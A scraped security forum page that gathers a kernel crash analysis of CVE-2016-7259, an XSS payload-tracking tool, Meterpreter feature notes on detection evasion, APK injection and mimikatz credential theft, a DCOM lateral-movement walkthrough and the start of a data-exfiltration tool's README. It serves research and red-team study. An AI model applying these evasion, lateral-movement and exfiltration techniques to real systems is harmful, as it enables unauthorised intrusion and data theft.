a88158e8 8e3c7280 00000000 00000000 00000000 nt!KiTrap0E+0x1a7 a8815a4c 8e3c0bb8 8da41000 000000d8 00000002 win32k!PUBLIC_PFTOBJ::bLoadFonts+0xffffff33 a8815aac 8e3c0aee 00000002 00000011 00000000 win32k!GreAddFontResourceWInternal+0xa3 a8815bf4 8217a417 00a65558 000000d8 00000002 win32k!NtGdiAddFontResourceW+0xbc a8815bf4 77bcca70 00a65558 000000d8 00000002 nt!KiSystemServicePostCall 002ee75c 75e1b67c 75e1adfb 00a65558 000000d8 ntdll!KiFastSystemCallRet 002ee760 75e1adfb 00a65558 000000d8 00000002 GDI32!NtGdiAddFontResourceW+0xa 002ee7a0 75e4993b 002ee7d4 00000011 00000000 GDI32!GdiAddFontResourceW+0x5b 002ee9f8 01024b8b 00415b70 00000010 00000000 GDI32!AddFontResourceExA+0xeb WARNING: Stack unwind information not available. Following frames may be wrong. 002ef4d0 01029314 002b02d4 0000003f 00322540 Test+0x84b8b 002ef7d0 0107763a 00000003 00322518 00322820 Test+0x89314 002ef81c 0107781d 002ef838 76074198 7fd66000 Test+0xd763a 002ef824 76074198 7fd66000 76074170 fa31b76d Test+0xd781d 002ef838 77bb2cb1 7fd66000 fa4bb319 00000000 KERNEL32!BaseThreadInitThunk+0x24 002ef880 77bb2c7f ffffffff 77bde751 00000000 ntdll!__RtlUserThreadStart+0x2b 002ef890 00000000 0100b103 7fd66000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: kb FOLLOWUP_IP: win32k!PUBLIC_PFTOBJ::bLoadFonts+ffffffffffffff33 8e3c7280 f6411808 test byte ptr [ecx+18h],8 SYMBOL_STACK_INDEX: b SYMBOL_NAME: win32k!PUBLIC_PFTOBJ::bLoadFonts+ffffffffffffff33 FOLLOWUP_NAME: MachineOwner MODULE_NAME: win32k IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 577fb612 IMAGE_VERSION: 6.3.9600.18405 BUCKET_ID_FUNC_OFFSET: ffffffffffffff33 FAILURE_BUCKET_ID: 0x1E_c0000005_R_win32k!PUBLIC_PFTOBJ::bLoadFonts BUCKET_ID: 0x1E_c0000005_R_win32k!PUBLIC_PFTOBJ::bLoadFonts PRIMARY_PROBLEM_CLASS: 0x1E_c0000005_R_win32k!PUBLIC_PFTOBJ::bLoadFonts ANALYSIS_SOURCE: KM FAILURE_ID_HASH_STRING: km:0x1e_c0000005_r_win32k!public_pftobj::bloadfonts FAILURE_ID_HASH: {de897383-506f-34a6-612f-9272467400a7} Followup: MachineOwner --------- Analysis The faulty syscall is win32k!NtGdiAddFontResourceW. According to Reactos source code the function prototype is: __kernel_entry INT W32KAPI APIENTRY NtGdiAddFontResourceW( _In_reads_(cwc) WCHAR *pwszFiles, _In_ ULONG cwc, _In_ ULONG cFiles, _In_ FLONG f, _In_ DWORD dwPidTid, _In_opt_ DESIGNVECTOR *pdv); The crash happens on a NULL pointer dereference in the win32k!PUBLIC_PFTOBJ::bLoadFonts function: 1: kd> .trap 0xffffffffa8815974 ErrCode = 00000000 eax=00000000 ebx=00000000 ecx=00000000 edx=00c295b0 esi=9ee20398 edi=00000002 eip=8e3c7280 esp=a88159e8 ebp=a8815a4c iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 win32k!PUBLIC_PFTOBJ::bLoadFonts+0xffffffff`ffffff33: 8e3c7280 f6411808 test byte ptr [ecx+18h],8 ds:0023:00000018=?? The previous line is: ; in win32k!PUBLIC_PFTOBJ::bLoadFonts .text:001A827D mov ecx, [esi+eax*4] ; ecx = nullptr Register configuration is as follows: ESI register points to a kernel pool memory block. EAX register is the number file passed to the syscall (win32k!NtGdiAddFontResourceW) in the 1st argument. Note: multiple file names can be passed to the syscall with the | separator character. EDI is the number of files passed in the 1st argument of the syscall. The kernel pool memory block (where the null pointer lies) is allocated and has a size of 0x90 bytes: 1: kd> !pool @esi Pool page 9ee20398 region is Paged session pool 9ee20000 size: 338 previous size: 0 (Allocated) Gfnt 9ee20338 size: 10 previous size: 338 (Free) Free 9ee20348 size: 48 previous size: 10 (Allocated) Ussm *9ee20390 size: 90 previous size: 48 (Allocated) *Gffv Pooltag Gffv : Gdi FONTFILEVIEW 9ee20420 size: 68 previous size: 90 (Allocated) Usqm 9ee20488 size: 288 previous size: 68 (Allocated) Gla5 9ee20710 size: 8f0 previous size: 288 (Allocated) Gla1 The kernel pool memory block is allocated in the same function (win32k!PUBLIC_PFTOBJ::bLoadFonts): ; in win32k!PUBLIC_PFTOBJ::bLoadFonts .text:001A8449 mov ecx, edi ; ecx = edi = number of files = 2 ; [...] .text:001A844F mov edx, 'vffG' ; block tag .text:001A8454 lea eax, ds:7[edi*4] ; lea eax,[edi*4+7] ; edi = 2 ; eax = 0x0f .text:001A845B shl ecx, 6 ; before: ecx = 2; after: ecx = 0x80 .text:001A845E and eax, 0FFFFFFF8h ; eax = 8 .text:001A8461 push 1 .text:001A8463 add ecx, eax ; NumberOfBytes: 0x80 + 8 = 0x88 .text:001A8465 mov [esp+64h+var_28], eax .text:001A8469 call PALLOCMEM2(x,x,x) .text:001A846E mov [esp+60h+pFontFileView], eax ; kernel pool block pointer Then the win32k!vLoadFontFileView function is called: ; in win32k!PUBLIC_PFTOBJ::bLoadFonts .text:001A8539 push [esp+80h+pFontFileView] ; unsigned __int16 * .text:001A853D call vLoadFontFileView Inside win32k!vLoadFontFileView, both of the font files (*.pfm and *.pfb) are loaded and then mapped. The mapping occurs in thewin32k!MapFontFiles function. ; in win32k!vLoadFontFileView .text:0018D5BD push [ebp+arg_C] ; 1: kd> dp 9efb2a90 .text:0018D5BD ; 9efb2a90 00000000 00000000 00000000 00000000 .text:0018D5C0 mov edx, [ebp+arg_0] ; 1: kd> dd 8d9f1108 .text:0018D5C0 ; 8d9f1108 8d9f1110 8d9f1150 00000000 00000000 .text:0018D5C3 mov ecx, ebx ; ebx = ecx = 2 (number of files) .text:0018D5C5 push [ebp+arg_8] ; points on P .text:0018D5C8 call MapFontFiles(ulong,_FONTFILEVIEW * *,void * *,ulong *) The call stack on win32k!MapFontFiles function entry looks like this: 3: kd> k # ChildEBP RetAddr 00 8a4e7988 8e1805cd win32k!MapFontFiles 01 8a4e79bc 8e19b542 win32k!vLoadFontFileView+0x18a 02 8a4e7a4c 8e194bb8 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x1f5 03 8a4e7aac 8e194aee win32k!GreAddFontResourceWInternal+0xa3 04 8a4e7bf4 81574417 win32k!NtGdiAddFontResourceW+0xbc Inside win32k!MapFontFiles we have a loop that maps both of the font files using the win32k!EngMapFontFileFDInternal function: ; in win32k!MapFontFiles .text:001A1CAA add eax, ecx ; 2nd -> eax = 9efb2a9c .text:001A1CAC mov edx, ecx .text:001A1CAE push 0 .text:001A1CB0 push eax .text:001A1CB1 mov eax, [ebp+var_4] .text:001A1CB4 mov ecx, [ecx+eax] .text:001A1CB7 call EngMapFontFileFDInternal(x,x,x,x) .text:001A1CBC test eax, eax ; eax = 0 on 2nd pass .text:001A1CBE jz @@ErrorMapFontFile .text:001A1CC4 mov ecx, [ebp+arg_0] ; 1: kd> dp 9efb2a90 .text:001A1CC4 ; 9efb2a90 00b70000 00000000 000002f3 00000000 .text:001A1CC4 ; 9efb2aa0 46140003 38616c47 010807fe 00000001 .text:001A1CC4 ; 9efb2ab0 80000000 00000000 00008208 00000000 .text:001A1CC7 inc edi .text:001A1CC8 mov eax, [ebp+var_C] ; 8 .text:001A1CCB add ecx, 4 .text:001A1CCE mov [ebp+arg_0], ecx .text:001A1CD1 cmp edi, [ebp+number_of_files] ; 2 .text:001A1CD4 jb short loc_1A1CAA ; 2nd -> eax = 9efb2a9c The first loop pass is used to open and map the *.pfm font file, the second one being used for the *.pfb file. In w32k!EngMapFontFileFDInternal we have a call to win32k!bCreateSection: ; in w32k!EngMapFontFileFDInternal .text:00142AB9 mov ecx, [ebx+28h] ; du poi(@ebx + 28) .text:00142AB9 ; 8da41000 "\??\C:\WORK\FONTS\TEST\FONTS\LIB" .text:00142AB9 ; 8da41040 "TEST63.PFB" .text:00142AB9 ; .text:00142ABC shr eax, 3 .text:00142ABF and al, 1 .text:00142AC1 movzx eax, al .text:00142AC4 push eax ; int (0) .text:00142AC5 lea eax, [esp+74h+var_5C] .text:00142AC9 push eax ; struct _FILEVIEW * .text:00142ACA push esi ; unsigned __int16 * (0) .text:00142ACB call bCreateSection(ushort *,_FILEVIEW *,int,int *,uchar) Inside win32k!bCreateSection, the code uses nt!IoCreateFile. Here (after the call to open the file), the resulting handle refers to the *.pfb file: !handle 80000bf8 PROCESS 9dcd2040 SessionId: 1 Cid: 0af0 Peb: 7f58c000 ParentCid: 0e58 DirBase: 00e08540 ObjectTable: af8583c0 HandleCount: <Data Not Accessible> Image: FontLoader.exe Kernel handle Error reading handle count. 80000bf8: Object: ab226d70 GrantedAccess: 001200a9 Entry: a47827f0 Object: ab226d70 Type: (8023c868) File ObjectHeader: ab226d58 (new version) HandleCount: 1 PointerCount: 1 Directory Object: 00000000 Name: \Work\fonts\test\fonts\Test-Italic63.pfb {HarddiskVolume2} The code then uses nt!ZwQueryInformationFile to query file information. Note that the code doesn't check if the file size is 0. ; in win32!bCreateSection .text:000DC47B lea eax, [ebp+FileInformation] .text:000DC47E push 5 ; FileInformationClass .text:000DC480 push 18h ; Length .text:000DC482 push eax ; FileInformation .text:000DC483 lea eax, [ebp+IoStatusBlock] .text:000DC486 push eax ; IoStatusBlock .text:000DC487 push [ebp+FileHandle] ; FileHandle .text:000DC48A call edi ; ZwQueryInformationFile(x,x,x,x,x) The code then calls win32k!ZwWin32CreateSection which is merely a wrapper around nt!ZwCreateSection: ; in win32k!bCreateSection .text:000DC548 mov [ebp+ObjectAttributes.Length], 18h .text:000DC552 mov [ebp+ObjectAttributes.RootDirectory], ebx .text:000DC558 mov [ebp+ObjectAttributes.Attributes], 200h .text:000DC562 mov [ebp+ObjectAttributes.ObjectName], ebx .text:000DC568 mov [ebp+ObjectAttributes.SecurityDescriptor], ebx .text:000DC56E mov [ebp+ObjectAttributes.SecurityQualityOfService], ebx .text:000DC574 test cl, 2 .text:000DC577 jnz loc_21098C .text:000DC57D push ecx ; int .text:000DC57E push ecx ; int .text:000DC57F push [ebp+FileHandle] ; FileHandle .text:000DC582 neg esi .text:000DC584 lea eax, [ebp+MaximumSize] .text:000DC587 push ecx ; int .text:000DC588 sbb esi, esi .text:000DC58A lea ecx, [ebp+var_60] ; int .text:000DC58D and esi, 0FFFFFFE4h .text:000DC590 add esi, 20h .text:000DC593 push esi ; SectionPageProtection .text:000DC594 push eax ; MaximumSize .text:000DC595 lea eax, [ebp+ObjectAttributes] .text:000DC59B push eax ; ObjectAttributes .text:000DC59C call ZwWin32CreateSection(x,x,x,x,x,x,x,x,x) ; fail inside!!! .text:000DC5A1 test eax, eax ; HRESULT indicates error .text:000DC5A3 js loc_21091E ; take jcc The code can't create a section of an empty file, which results in an error code. The file handle is then closed and an error is signaled by zeroing the eax register: ; in win32k!bCreateSection .text:0021091E push [ebp+FileHandle] ; Handle .text:00210921 call ds:ZwClose(x) .text:00210927 .text:00210927 loc_210927: .text:00210927 xor eax, eax ; function returns 0 .text:00210929 jmp loc_DC613 ; go to function epilogue The 0 return value is still seen as an error by the caller (win32k!EngMapFontFileFDInternal) which also exits: ; in win32k!EngMapFontFileFDInternal .text:00142ACB call bCreateSection(ushort *,_FILEVIEW *,int,int *,uchar) .text:00142AD0 mov [esp+70h+ret_val], eax ; [...] .text:00142AE4 mov eax, [esp+70h+ret_val] .text:00142AE8 .text:00142AE8 loc_142AE8: .text:00142AE8 test eax, eax .text:00142AEA jz loc_142B77 ; to function epilogue Back to win32k!MapFontFiles on the call site to win32k!EngMapFontFileFDInternal. We can see that a 0 return value is also taken as an error. The file is then unmapped and the first pointer sized value in the font file view (pointer by the esi register) is also zeroed. This value corresponds to the file mapping. ; in win32k!MapFontFiles .text:001A1CB7 call EngMapFontFileFDInternal(x,x,x,x) .text:001A1CBC test eax, eax ; eax = 0 on 2nd pass .text:001A1CBE jz @@ErrorMapFontFile ; [...] .text:00230C89 @@ErrorMapFontFile: .text:00230C89 test edi, edi .text:00230C8B jz short loc_230CAC .text:00230C8D sub ebx, esi .text:00230C8F sub [ebp+arg_4], esi .text:00230C92 .text:00230C92 loc_230C92: .text:00230C92 push dword ptr [esi] .text:00230C94 call EngUnmapFontFileFD(x) ; unmap file .text:00230C99 mov eax, [ebp+arg_4] .text:00230C9C xor ecx, ecx .text:00230C9E mov [esi], ecx ; esi=pFontFileView ; ecx = 0 .text:00230CAC loc_230CAC: .text:00230CAC xor al, al ; exits with 0 The function then exits (with a zero value, indicating an error) and we are back to win32k!vLoadFontFileView. Inside this function the return code is checked and the win32k!vLoadFontFileView function also exits but the error code is not backported to the caller (PUBLIC_PFTOBJ::bLoadFonts). ; in win32k!PUBLIC_PFTOBJ::bLoadFonts .text:001A853D call vLoadFontFileView .text:001A8542 mov eax, [esp+60h+p_minus_pfontfileview] ; eax = [a5861a34]=00000000 .text:001A8542 ; -------------------------- .text:001A8542 ; fonte file view first DWORD has been zeroed! .text:001A8542 ; 3: kd> dp 9e417dd8 L1 .text:001A8542 ; 9e417dd8 00000000 ; [...] .text:001A8570 .text:001A8570 loc_1A8570: .text:001A8570 cmp [esp+60h+var_ghsemPublicPFT], 0 ; [a5861a18]=00000000 .text:001A8575 jz loc_1A86FF ; clean up The file is unmapped once again but the pointer is 0: ; in win32k!PUBLIC_PFTOBJ::bLoadFonts .text:001A8710 push dword ptr [ebx+esi*4] ; 0 !!! .text:001A8713 call EngUnmapFontFileFD(x) And then the font file view is used again, but as the pointer is 0 the code tries to dereference the NULL address: ; in win32k!PUBLIC_PFTOBJ::bLoadFonts .text:001A8279 mov esi, [esp+60h+pFontFileView] .text:001A8279 ; note: first dword is 0 .text:001A8279 ; 1: kd> dp 9e417dd8 L4 .text:001A8279 ; 9e417dd8 00000000 9e417e20 1471fe00 01d13591 .text:001A827D .text:001A827D loc_1A827D: .text:001A827D mov ecx, [esi+eax*4] ; ecx is a NULL pointer .text:001A8280 test byte ptr [ecx+18h], 8 ; crash here!!! Version Information Windows version - Windows 8.1 Update 1 x86 [up to date on 2016-08-25]: 3: kd> vertarget Windows 8.1 Kernel Version 9600 MP (4 procs) Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 9600.18379.x86fre.winblue_ltsb.160614-0600 Machine Name: Kernel base = 0x8160b000 PsLoadedModuleList = 0x81805618 Debug session time: Thu Aug 25 16:03:28.779 2016 (UTC + 2:00) System Uptime: 0 days 0:12:29.534 Win32k.sys module information: 3: kd> lm vm win32k Browse full module list start end module name 8e234000 8e59b000 win32k (pdb symbols) g:\symbols\win32k.pdb\ACF8092B8851410DBBB1D0C026BFCCAE2\win32k.pdb Loaded symbol image file: win32k.sys Image path: \SystemRoot\System32\win32k.sys Image name: win32k.sys Browse all global symbols functions data Timestamp: Fri Jul 08 16:17:54 2016 (577FB612) CheckSum: 003599F0 ImageSize: 00367000 File version: 6.3.9600.18405 Product version: 6.3.9600.18405 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 3.7 Driver File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft Windows Operating System InternalName: win32k.sys OriginalFilename: win32k.sys ProductVersion: 6.3.9600.18405 FileVersion: 6.3.9600.18405 (winblue_ltsb.160708-0600) FileDescription: Multi-User Win32 Driver LegalCopyright: Microsoft Corporation. All rights reserved. Detection The file format of the font itself is not in cause. You should check for any PostScript Type 1 font (*.pfm extension) font file and its associated *.pfb file. If the *.pfb file is empty (file size is 0 byte), then the crash can occur. Mitigation NULL pointer dereference protection on newer Windows systems will mitigate this problem as it is not possible to allocate the page at 0. CVE Number MITRE: CVE-2016-7259 Microsoft: Microsoft Security Bulletin MS16-151 Time Line 2015-12-xx: [QB] Vulnerability found; Pushed for later thorough analysis 2016-08-25: [QB] Vulnerability unstacked and analyzed 2016-08-26: [QB] Report vulnerability to Microsoft 2016-08-26: [MS] Microsoft acknowledge reception 2016-09-15: [MS] Microsoft has a successful repro 2016-11-02: [QB] Ask if they deemed the bug as being important or not 2016-11-10: [MS] Acknowledge fix will be released in Dec. patch Tuesday 2016-12-13: [MS] Fix for CVE-2016-7259 is released 2016-12-14: [QB] Quick look at the patch and blog release Sursa: http://blog.quarkslab.com/cve-2016-7259-an-empty-file-into-the-blue.html
-
Sleepy Puppy What is Sleepy Puppy? Sleepy Puppy is a cross-site scripting (XSS) payload management framework which simplifies the ability to capture, manage, and track XSS propagation over long periods of time. Why Should I use Sleepy Puppy? Often when testing for client side injections (HTML/JS/etc.) security engineers are looking for where the injection occurs within the application they are testing only. While this provides ample coverage for the application in scope, there is a possibility that the code engineers are injecting may be reflected back in a completely separate application. Sleepy Puppy helps facilitate inter-application XSS testing by providing JavaScript payloads that callback to the Sleepy Puppy application. This allows tracking when/where a payload fires even if the execution is triggered by a different user, occurs in a different application, or happens long after the initial test was performed. These payloads and the "PuppyScripts" (which are often JavaScripts) that define them are completely customizable, allowing you to capture only the information you need depending on your environment. Sursa: https://github.com/Netflix/sleepy-puppy
-
Ma bucur sa vad ca exista persoane ma pasionate de acest domeniu decat mine. Insa "exista brand-uri chinezesti bune" este, ca si parerea mea, o parere, doar ca e contradictorie. 1. Nu e atat de relevant ca sunt "facute in China". iOS-ul nu este facut in China (din cate stiu eu). Apoi, iPhone-ul si alte telefoane care se respecta nu vor instala niciodata backdoors sau software care sa fure tot ce poate dintr-un telefon (https://thehackernews.com/2016/11/hacking-android-smartphone.html) deoarece au un brand pe care vor sa il mentina. Nu stiu despre voi, dar eu nu vreau ca datele mele sa ajunga in China. 2. Observatia legata de AllView a fost facuta pe baza unor teste facute de mine pe vreo 2 telefoane AllView. Am fost multumit. 3. Nu toti vor sa cumpere un telefon si sa isi schimbe ROM-ul. Parintii tai sunt pasionati de root-area telefoanelor? Atunci da, inteleg. Apoi, am testat Cyanogen inca de la versiunile mai vechi si nu era tocmai stabil. Adica na, iau un telefon, pun Cyanogen ca e cool si nu imi merge Camera si aplicatia de mesaj. La urma urmei, cine are nevoie de ele cat timp nu mai am bloatware? 4. Daca tu este multumit de o chinezarie, nu inseamna ca trebuie sa fim si noi. PS: Rusine tie. Nu aduce acuze doar pentru ca cineva nu are aceleasi pareri ca tine.
-
Researchers work to save trusted computing apps from keyloggers SGX needs I/O protection, Austrian boffins reckon 5 Jan 2017 at 06:35, Richard Chirgwin Intel's Software Guard Extensions started rolling in Skylake processors in October 2015, but it's got an Achilles heel: insecure I/O like keyboards or USB provide a vector by which sensitive user data could be compromised. A couple of boffins from Austria's Graz University of Technology reckon they've cracked that problem, with an add-on that creates protected I/O paths on top of SGX. Instead of the handful of I/O technologies directly protected by SGX – most of which have to do with DRM rather than user security – the technology proposed in Samuel Weiser and Mario Werner's Arxiv paper, SGXIO, is a “generic” trusted I/O that can be applied to things like keyboards, USB devices, screens and so on. And we're not talking about a merely esoteric technology that might soothe the fears of people running cloud apps on multi-tenant infrastructure. The Weiser/Werner proposal would create an SGX-supported trusted path all the way to a remote user's browser to protect (for example) an online banking session – and provide “attestation mechanisms to enable the bank as well as the user to verify that trusted paths are established and functional.” SGXIO as a way to protect a banking app The shortcoming SGXIO is trying to fix is that SGX's threat model considers everything outside itself a threat (which isn't a bad thing, in context). The usual approach for trusted paths is to use encrypted interfaces. The paper mentions the Protected Audio Video Path (PAVP) – but that's a DRM-specific example, and most I/O devices don't encrypt anything. Hence SGXIO, an attempt to add a generic trusted path to the SGX environment – and with that trusted path reaching to the end user environment, it's an attempt to protect an application from nasties like keyloggers that a miscreant might have installed on a victim's box. The key architectural concepts in SGXIO are: A trusted stack – which contains a security hypervisor, secure I/O drivers, and the trusted boot (TB) enclave; and The virtual machine – hosting an untrusted operating system that runs secure user applications. A user application communicating with the end user: 1. Opens an encrypted channel to the secure I/O driver; 2. This tunnels through the untrusted operating system, and establishes secure communication with the “generic” user I/O device. The hypervisor binds user devices exclusively to I/O; I/O on unprotected devices passes directly through the hypervisor; the trusted path names both the encrypted user-app-to-driver communication; and the exclusive driver-to-device binding; The TB enclave provides assurance of the trusted path setup, by attesting the hypervisor. The paper illustrates this process like this: SGXIO's trusted stack components An implementation wouldn't be seamless: the SGXIO paper devices a fair chunk of copy to application design, enclave programming (fortunately something Intel provides resources for), driver design, and hypervisor choice. Application developers, for example, have to work out a key exchange mechanism (Diffie-Hellman is supported, and SGXIO offers its own lightweight key protocol). For hypervisors, the paper suggests the seL4 microkernel. Originally developed by Australia's NICTA and now handled by the CSIRO Data61 project, seL4 is a mathematically verified software kernel that was published as open source software in 2014. SGXIO will get its first public airing at the CODASPY'17 conference in March, being held in Scottsdale Arizona. ® Sursa: http://www.theregister.co.uk/2017/01/05/researchers_work_to_save_trusted_computing_apps_from_keyloggers/
-
12 Days of HaXmas: Meterpreter's new Shiny for 2016 Blog Post created by Brent Cook on Jan 5, 2017 Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we’re highlighting some of the “gifts” we want to give back to the community. And while these gifts may not come wrapped with a bow, we hope you enjoy them. Editor's Note: Yes, this is technically an extra post to celebrate the 12th day of HaXmas. We said we liked gifts! Happy new year! It is once again time to reflect on Metasploit's new payload gifts of 2016 and to make some new resolutions. We had a lot of activity with Metasploit's payload development team, thanks to OJ Reeves, Spencer McIntyre, Tim Wright, Adam Cammack, danilbaz, and all of the other contributors. Here are some of the improvements that made their way into Meterpreter this year. On the first day of Haxmas, OJ gave us an Obfuscated Protocol Beginning the new year with a bang (and an ABI break), we added simple obfuscation to the underlying protocol that Meterpreter uses when communicating with Metasploit framework. While it is just a simple XOR encoding scheme, it still stumped a number of detection tools, and still does today. In the game of detection cat-and-mouse, security vendors often like to pick on the open source project first, since there is practically no reverse engineering required. It is doubly surprising that this very simple technique continues to work today. Just be sure to hide that stager On the second day of Haxmas, Tim gave us two Android Services Exploiting mobile devices is exciting, but a mobile session does not have the same level of always-on connectivity as an always-on server session does. It is easy to lose a your session because a phone went to sleep, there was a loss of network connectivity, or the payload was swapped for some other process. While we can't do much about networking, we did take care of the process swapping by adding the ability for Android meterpreter to automatically launch as a background service. This means that not only does it start automatically, it does not show up as a running task, and is able to run in a much more resilient and stealthy way. On the third day of Haxmas, OJ gave us three Reverse Port Forwards While exploits have been able to pivot server connections into a remote network through a session, Metasploit did not have the ability for a user to run a local tool and perform the same function. Now you can! Whether it's python responder or just a web server, you can now setup a locally-visible service via a Meterpreter session that visible to your target users. This is a nice complement to standard port forwarding that has been available with Meterpreter sessions for some time. On the fourth day of Haxmas, Tim gave us four Festive Wallpapers Sometimes, when on an engagement, you just want to know 'who did I own?'. Looking around, it is not always obvious, and popping up calc.exe isn't always visible from afar, especially with those new-fangled HiDPI displays. Now Metasploit lets you change the background image on OS X, Windows and Android desktops. You can now update everyone's desktop with a festive picture of your your choosing. On the fifth day of Haxmas, OJ gave us five Powershell Prompts Powershell has been Microsoft's gift both to Administrators and Penetration Test/Red Teams. While it adds a powerful amount of capabilities, it is difficult to run powershell as a standalone process using powershell.exe within a Meterpreter session for a number of reasons: it sets up its own console handling, and can even be disabled or removed from a system. This is where the Powershell Extension for Meterpreter comes in. It not only makes it possible to confortably run powershell commands from Meterpreter directly, you can also interface directly with Meterpreter straight from powershell. It uses the capaibilites built in to all modern Windows system libraries, so it even works if powershell.exe is missing from the system. Best of all, it never drops a file to disk. If you haven't checked it out already, make it your resolution to try out the Meterpreter powershell extension in 2017. On the sixth day of Haxmas, Tim gave us six SQLite Queries Mobile exploitation is fun for obtaining realtime data such as GPS coordinates, local WiFi access points, or even looking through the camera. But, getting data from applications can be trickier. Many Android applications use SQLite for data storage however, and armed with the combination of a local privilege escalation (of which there are now several for Android), you can now peruse local application data directly from within an Android session. On the seventh day of Haxmas, danilbaz gave us seven Process Images This one is for the security researchers and developers. Originally part of the Rekall forensic suite, winpmem allows you to automatically dump the memory image for a remote process directly back to your Metasploit console for local analysis. A bit more sophisticated than the memdump command that has shipped with Metasploit since the beginning of time, it works with many versions of Windows, does not require any files to be uploaded, and automatically takes care of any driver loading and setup. Hopefully we will also have OS X and Linux versions ready this coming year as well. On the eight day of Haxmas, Tim gave us eight Androids in Packages The Android Meterpreter payload continues to get more full-featured and easy to use. Stageless support now means that Android Meterpreter can now run as a fully self-contained APK, and without the need for staging, you can now save scarce bandwidth in mobile environments. APK injection means you can now add Meterpreter as a payload on existing Android applications, even resigning them with the signature of the original publisher. It even auto-obfuscates itself with Proguard build support. On the ninth day of Haxmas, zeroSteiner gave us nine Resilient Serpents Python Meterpreter saw a lot of love this year. In addition to a number of general bugfixes, it is now much more resilient on OS X and Windows platforms. On Windows, it can now automatically identify the Windows version, whether from Cygwin or as a native application. From OS X, reliability is greatly improved by avoiding using some of the more fragile OS X python extensions that can cause the Python interpreter to crash. On the tenth day of Haxmas, OJ gave us ten Universal Handlers Have you ever been confused about what sort of listener you should use on an engagement? Not sure if you'll be using 64-bit or 32-bit Linux when you target your hosts? Fret no more, the new universal HTTP payload, aka multi/meterpreter/reverse_http(s), now allows you to just set it and forget it. On the eleventh day of Haxmas, Adam and Brent gave us eleven Posix Payloads Two years ago, I started working at Rapid7 as a payloads specialist, and wrote this post (https://community.rapid7.com/community/metasploit/blog/2015/01/05/maxing-meterpr eters-mettle) outlining my goals for the year. Shortly after, I got distracted with a million other amazing Metasploit projects, but still kept the code on the back burner. This year, Adam, myself, and many others worked on the first release of Mettle, a new Posix Meterpreter with an emphasis on portability and performance. Got a SOHO router? Mettle fits. Got an IBM Mainframe? Mettle works there too! OSX, FreeBSD, OpenBSD? Well it works as well. Look forward to many more improvements in the Posix and embedded post-exploitation space, powered by the new Mettle payload. On the twelfth day of Haxmas, OJ gave us twelve Scraped Credentials Have you heard? Meterpreter now has the latest version of mimikatz integrated as part of the kiwi extension, which allows all sorts of credential-scraping goodness, supporting Windows XP through Server 2016. As a bonus, it still runs completely in memory for stealty operation. It is now easier than ever to keep Meterpreter up-to-date with upstream thanks to some nice new hooking capabilities in Mimikatz itself. Much thanks to gentilkiwi and OJ for the Christmas present. Hope your 2017 is bright and look forward to many more gifts this coming year from the Metasploit payloads team! Sursa: https://community.rapid7.com/community/metasploit/blog/2017/01/03/12-days-of-haxmas-meterpreters-new-shiny-for-2016
-
- 1
-
-
LATERAL MOVEMENT USING THE MMC20.APPLICATION COM OBJECT
Nytro posted a topic in Tutoriale in engleza
LATERAL MOVEMENT USING THE MMC20.APPLICATION COM OBJECT January 5, 2017 by enigma0x3 For those of you who conduct pentests or red team assessments, you are probably aware that there are only so many ways to pivot, or conduct lateral movement to a Windows system. Some of those techniques include psexec, WMI, at, Scheduled Tasks, and WinRM (if enabled). Since there are only a handful of techniques, more mature defenders are likely able to prepare for and detect attackers using them. Due to this, I set out to find an alternate way of pivoting to a remote system. Recently, I have been digging into COM (Component Object Model) internals. My interest in researching new lateral movement techniques led me to DCOM (Distributed Component Object Model), due to the ability to interact with the objects over the network. Microsoft has some good documentation on DCOM here and on COM here. You can find a solid list of DCOM applications using PowerShell, by running “Get-CimInstance Win32_DCOMApplication”. While enumerating the different DCOM applications, I came across the MMC Application Class (MMC20.Application). This COM object allows you to script components of MMC snap-in operations. While enumerating the different methods and properties within this COM object, I noticed that there is a method named “ExecuteShellCommand” under Document.ActiveView. You can read more on that method here. So far, we have a DCOM application that we can access over the network and can execute commands. The final piece is to leverage this DCOM application and the ExecuteShellCommand method to obtain code execution on a remote host. Fortunately, as an admin, you can remotely interact with DCOM with PowerShell by using “[activator]::CreateInstance([type]::GetTypeFromProgID”. All you need to do is provide it a DCOM ProgID and an IP address. It will then provide you back an instance of that COM object remotely: It is then possible to invoke the “ExecuteShellCommand” method to start a process on the remote host: As you can see, calc.exe is running under Matt while the user “Jason” is logged in: By using this DCOM application and the associated method, it is possible to pivot to a remote host without using psexec, WMI, or other well-known techniques. To further demonstrate this, we can use this technique to execute an agent, such as Cobalt Strike’s Beacon, on a remote host. Since this is a lateral movement technique, it requires administrative privileges on the remote host: As you can see, the user “Matt” has local admin rights on “192.168.99.132”. You can then use the ExecuteShellCommand method of MMC20.Application to execute staging code on the remote host. For this example, a simple encoded PowerShell download cradle is specified. Be sure to pay attention to the requirements of “ExecuteShellCommand” as the program and its parameters are separated: The result of executing this through an agent results in obtaining access to the remote target: To detect/mitigate this, defenders can disable DCOM, block RPC traffic between workstations, and look for a child process spawning off of “mmc.exe”. Cheers! Matt N. Sursa: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/-
- 1
-
-
CloakifyFactory CloakifyFactory & the Cloakify Toolset - Data Exfiltration & Infiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of Analysts; Defeat Data Whitelisting Controls; Evade AV Detection. Text-based steganography usings lists. Convert any file type (e.g. executables, Office, Zip, images) into a list of everyday strings. Very simple tools, powerful concept, limited only by your imagination. Author Joe Gervais (TryCatchHCF) Why DLP systems, MLS devices, and SecOps analysts know what data to look for:So transform that data into something they're not looking for: Tutorial See my DEF CON 24 slides (included in project) from Crypto & Privacy Village workshop and DemoLabs session. Complete tutorial on what the Cloakify Toolset can do, specific use cases, and more. (The examples in the presentation use the standalone scripts, I recommend using the new CloakifyFactory to streamline your efforts.) For a quick start on CloakifyFactory, see the cleverly titled file "README_GETTING_STARTED.txt" in the project for a walkthrough. Overview CloakifyFactory transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings. This lets you hide the file in plain sight, and transfer the file without triggering alerts. The fancy 